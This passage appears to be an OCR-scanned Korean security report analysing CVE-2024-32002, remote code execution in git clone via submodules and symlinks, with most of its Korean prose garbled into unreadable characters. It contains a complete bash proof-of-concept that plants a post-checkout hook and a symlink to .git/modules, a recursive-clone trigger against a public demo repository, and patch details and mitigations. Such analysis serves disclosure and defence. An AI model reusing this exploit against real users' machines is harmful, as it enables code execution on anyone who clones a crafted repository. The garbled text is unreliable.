2024-07-07 04:52 <DIR> ohjects
2024-07-07 z = 04: 52 112 packed-refs
2024-07-07 <DIR> refs
69?7 d”io|lE
N EJEQE1EJ 791.201.267.712 HiO| E

I9 12. gitWmodulesWE EC]S AR Y ABERES] it Y ED] &2l

T ABERE HEE offjet o] FEAED] Y gitmodules ZtAA B}l 7155t

BN 22| AL C:AWindows\system32\cmd.exe

C:Wdevittest2>type _qgitmodules
[submodule "EQSTtest"]

path = submodul e
url = C:Hitdeviilitest]

19 13. gitmodules ot g EQ1
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5) CVE-2024-32002

oA AERt 7155 TS, Wmdowsur MacOS THAA|AE Yo thARA T1ES 617
%7 tjZel A& HIE AMES] ABERES git 999 fFER] o ddl 4 9t} o]

olE &
), .git/modules/A B RLE©]E/hooks %‘jELO}O% dojo] mpdE PRET 4 U, AERES
e o) gA9] AEE GA5H] 93 checkout 22 submodule F7F @A|9] branch &
EH QP2 hook 7159 post—checkout & &l FA=Z <] F& AYo] 7Ha5it

) S wAH O Ay,

o=

77
@O MEREO] y/hooks/ ZE ol post-checkout ATHEE F7}511, 0|5 commit 3t}
@ " HRAEHE AT F AEEREY olgZ x/y B AFSL, AEHREC]
A/modules/x U ED Y 9X|5t=E A},

® .git= 7H71A Qe AEY Ja20Y a 3712 A flEZAEL o commit g
@ o] % git clone o2 MHLFH M 2RAEHE BASH HH dLgAs: FESHA]
%= Windows U MacOS TtdA|A"”le] E4 A A= AEY B3 agdS O} git <
71714l "ot weEbA,  A/modules/x/y/hooks o] YRESIooF & AHRE
T2 git/modules/x/y/hooks 20| QHo]E Hrc},
® ol .git/modules/A B EC|E/hooks 2%} FUstZE, AERES post—checkout

ntdo] A= dednt. sid e EAetetE offet Zrt

Main repository Submeodule repository \

: »I@ git & 7t27lE MEY us B \

7k xty

o
0x

post-checkout

a-> git/ @M=2E * y
@ .git/modules/x AE L M= i I_ B
B E clone |
| "o o
gt —

modules 3
| ® MERE done 22 post-

checkout ﬂEﬂ.E'E Al i

|

\
|
|
|
|
I
|
|
|
|
|
|
|
I
|
|
[
1 I |

9 14. CVE-2024-32002 53 74
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9] M} of FHOE Git Bash®ol| 4] Aafste] glg 4 9l
#!/bin/bash
git config --global core.symlinks true

# MERE clZXN&Ee =I5t
git init hook

cd hook

mkdir -p y/hooks

# Aoy AJEE &Y (calc.exe & EH)
cat > y/hooks/post-checkout <<EOF
#!/bin/bash

calc.exe

EOF

# ADEHE s RN

chmod +x y/hooks/post-checkout

# NEZ2= cIZXE2| add
git add y/hooks/post-checkout
# MEZ2E 2|ZXNE2| commit

git commit -m "post-checkout”
cd ..

# 02 clZX&Eel =3t

git init egst

cd egst

# 0o CIZXNES W MER2E It

git submodule add --name x/y "/c/dev/hook"™ A/modules/x
# OIS 2lZX &2l commit

git commit -m "add-submodule”

# symlink A&

printf ".git" > dotgit.txt

git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info

git commit -m "add-symlink"

cd ..

* Git Bash: -¢4AA0] 0617 252 Fo]

i
>
>,
oo
sk
:
olt

& =g A9

1= Git 2] Bash Shell

EQST insight | 40



AME A8 o]F post-checkout hook A2FHET} APE O] calcexe 7} APEE= AL Q1T &
o]
AN .
- o x
Standard )
info
y LF will be replaced by 0
M+ M- Ms
CRLF the n
v x2 Y
C & =
8 9 X
5 6 -
2 3 +
() N =

PR

6) Git o] A 7
Git = 7%94 RE WE sFC dik #4 2S5 H2 4 Sl Yle= At GIT_TRACE
RS true 2 AN 42 F4S & e, off AWESf Zo] AT 5 3T

GIT_TRACE=1 git clone --recursive eqst eqsttest

9 BEol A olF, tg} Hol Ci/dev/hook =] U=
C:/dev/eqsttest/ A/modules/x 720l clone st= A& &elgd 4= ot

EZE

it-upload-p

19 16. A BRE clone HFo] &2l
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o] W, ——separate—git—dir ¥ =2 git HHAEYE C:/dev/eqsttest/.git/modules/x/y = W75
Hed, AEE J3 04 a 2 Qlsto] Ci/dev/egsttest/a —> .git/modules/x/y 2 C:/dev/hook/y
BAre] wdS 9 WAE git HHAEY Wa-).git)E clone A Fh.

0|3 MHEREA submodule & F7FSF QA9 branch & checkout 5}H, checkout ©|HIEZ}
HEAgho] wel hooks = W post—checkout AT HE L AETy,

9l checkout & & branch & ABRE|A gitlog WP olE Sl &< 7}ttt

MINGWE/c/dev/hook

19 18. ABRE checkout Ho]E 3PSt branch &<l
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Step 3. ¢tolAQl YA Git HEAEF 14
oFolz ol A g RA|E P Step 2 of|A] At
R Eg® LG

\
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

I
Addi git submodule
|

‘ [
‘ [
‘ |
‘ |
‘ |
| |
. | }
.gitmodules i |
! l
‘ \
‘ |
‘ |
‘ [
i

—

N a->.git/ / AN /

a9 19. oA 97 YEAEY £

%
an
[

£
i
of
<
e
i)
i)
=

A g g7} ol P

QSTSeminar/hook

@)

(@)

git clone rce CVE-2024-30002

=] EQSTSeminar / git_rce ' Public L Notifications % Fork 0 W star 0 H EQSTSeminar / hook ' Public L Notifications % Fork 0 I Star 0
<> Code (O Issues 17 Pullrequests (© Actions [ Projects (@ Security |~ Insights <> Code (O Issues 1% Pullrequests (®) Actions [ Projects (@ Seeurity |~ Insights
P main ~ Py o Go to file m About P main ~ ¥ © Go to file <> Code ~ About

submodule for git_rce

EQSTSeminar Update READMEmd Seeedd -Idaysago KO EQSTSeminar Update README.md 2772b1a-3daysago D
0 Readme [ Readme
A/modules add-submodule 5 days ago 4 Activity y/hooks ip changed 5 days ago Ar Activity
0 stars 0 stars
O gitmodules add-submodule 5 days ago Lol [ READMEmd Update README.md 3 days ago "
@® 1watching @ 1watching
[ READMEmd Update README.md 3 days ago ¥ 0forks W 0forks
[0 README
2 add-symlink 5 days ago Report repository Report repository

a9 20. ool

Q94 HQl HEZAEHE) ¥4 HEHEE AXZAE(P)

slo} ol erolHoR THE U
e

post—checkout & Aldiste] ¢A
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https://github.com/EQSTSeminar/git_rce 4ol ¥4 EAEZE FAIT
W27t tha HEol® clone *tttH, €A ol msiate] HFE oA Hag=

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

File Actions Edit View Help

/home/kali

BT mn fol
address and the host

, comments (such
lowing the

97 rhino.
18 X.acme

#
i
#
#
#
# e
#
i3
#
i
#
#
#
#
#
i3
#

Lhost name resolution is
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gt

m S

2024 3 5 YL 14 Lol ZARE 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, 2.39.4 B]H|A] f

Forglol 2] =3tk CVE-2024-32002 o] th-&st7] fIsf ofeff Aoz HdHolE

ok shet.

HEF x| HH

Git 245.1,2.44.1,2.43.4,242.2,2.41.1,240.2, 2394 O|= HH

193 b Yol AR P2 7)15e uBAet stel AekHel theF 4 9ok

git config --global core.symlinks false

E3, A AT 4 Qs dEAES

clone 8472 = A AA| ZqsiT)

« URL: https://github.com/git/git/security/advisories/ GHSA-8h77-4q3w—gfgv

o £

x5 EA8H builtin/submodule——helper.c A4 FEO|A WA O]

UTE A4, clone submodule gHo A ofefjo] AZF Ao 1T

static int clone_submodule(const struct module_clone_data *clone_data,
struct string_list *reference)
{

char *p;
char rsm_gitdir = clone_submodule_sm_gitdir(clone_data->name):
char +sm_alternate = NULL, *error_strategy = NULL;

struct child_process cp = CHILD_PROCESS_INIT;
const char *clone_data_path = clone_data—>path;
char «to_free = NULL;

if (lis_absolute_pathiclone_data—>path))
clone_data_path = to_free = xstrimt("%s/%s",
clone_data—>path);

get_git_work_tree(}),

it (validate_submodule_git_dir(sm_gitdir, clone_data—>name) < 0)
die(_("refusing to create/use '%s' in another submodule's "
“git dir"), sm_gitdir);

if (Ifile_exists(sm_gitdir)) {

if (safe_create_leading_directories_const(sm_gitdir) < Q)
die(_("could not create directory '%s'"), sm_gitdir):

prepare_possible_alternates(clone_data—>name, reference):

static int clone_submodule(const struct module_clone_data +clone_data,

{

struct string_list *reference)

char *p;

char *sm_gitdir = clone_submodule_sm_gitdir(clone_data->name):
char +sm_alternate = NULL. *error_strategy = NULL;

struct stat st;

struct child_process cp = CHILD_PROCESS_INIT;

const char *clone_data_path = clone_data—>path;

char «to_free = NULL:

if (validate_submodule_path(clone_data_path) < 0)
exit(128);

if (lis_absolute_path(clone_data—>path))
clone_data_path = to_free = xstrimt("%s/%s".
clone_data—>path);

get_git_work_tree(),

if (validate_submodule_git_dir(sm_gitdir, clone_data—>name) < 0)
die(_("refusing to create/use '%s' in another submodule's "
"git dir"), sm_gitdir);

if (Ifile exists(sm gitdir)) {

if (clone_data—>reauire_init &% lstat(clone_data_path, &st) &
lis_empty_dir(clone_data_path})

die(_("directory not empty: '%s'"),

clone_data_path);

if (safe_create_leading_directories_const(sm_gitdir) < 0)
die(_("could not create directory '%s'"), sm_gitdir):

prepare_possible_alternates(clone_data—>name, reference);

9 22. builtin/submodule——helper.c o4 clone_submodule g4 W F71H F&

o,
@]
o]
@]
[e]
-
N
™
]
oft

ofN 2

g

T

S

4

o, rz
olt

ol
Su/ie)
)
18
I
ot
X
52
rlo
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https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv

T3, dir_contains_only_dotgit &7 F7HE A=, A7 &4 B git TtAdTt ZgHE o
A=A B o YHEYL Z3tE o] =2 2RIt} o|% thE nfouy g Eert iLgtE| o

oW 9RE uHET,

% 23. builtin/submodule——helper.c 9|4 57} dir_contains_only_dotgit ¥4

Tot FHokdol mixE HAHAME HAE AFYHE  t/t7406-submodule—updatesh o T
AAYHETE F7ME AL EQ1E & Qltt

1% 24. t/t7406-submodule-update.sh 9|4 F7}E FE=

g F71E A3IYEE CVE-2024-32002 H¥8E o]gd] FHofd 22 oRE AHHo=

stolsle HAE AgfEz 2AHL sd ATYEES =AM HOOK-RUN HAAES
Z2ol1 telltale S 2ot o WS AN H, HAA &9 f5eF 4d A /FFE
AAfRt
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+ Git Documentation : https://git—scm.com/doc

+ Key GitHub Statistics in 2024 (Users, Employees, and Trends) : https://kinsta.com/blog/github—
statistics/

+ Git Notes for Professionals : https://books.goalkicker.com/GitBook/

* Git hooks : https://www.atlassian.com/git/tutorials/git—hooks

* A Detailed Explanation of the Underlying Data Structures and Principles of Git
https://www.alibabacloud.com/blog/a—detailed—explanation—of—the—underlying—data—structures—
and-principles—of—git_597391

« Adjust case sensitivity : https://learn.microsoft.com/en—us/windows/wsl/case—sensitivity

+ Recursive clones on case—insensitive filesystems that support symlinks are susceptible to Remote
Code Execution : https://github.com/git/git/security/advisories/ GHSA-8h77-4q3w—gfgv

« CVE-2024-32002 Critical vulnerability in Git @ https://www.tarlogic.com/blog/cve—2024-
32002-vulnerability—git/

* Exploiting CVE-2024-32002 RCE via git clone : https://amalmurali.me/posts/git—rce/
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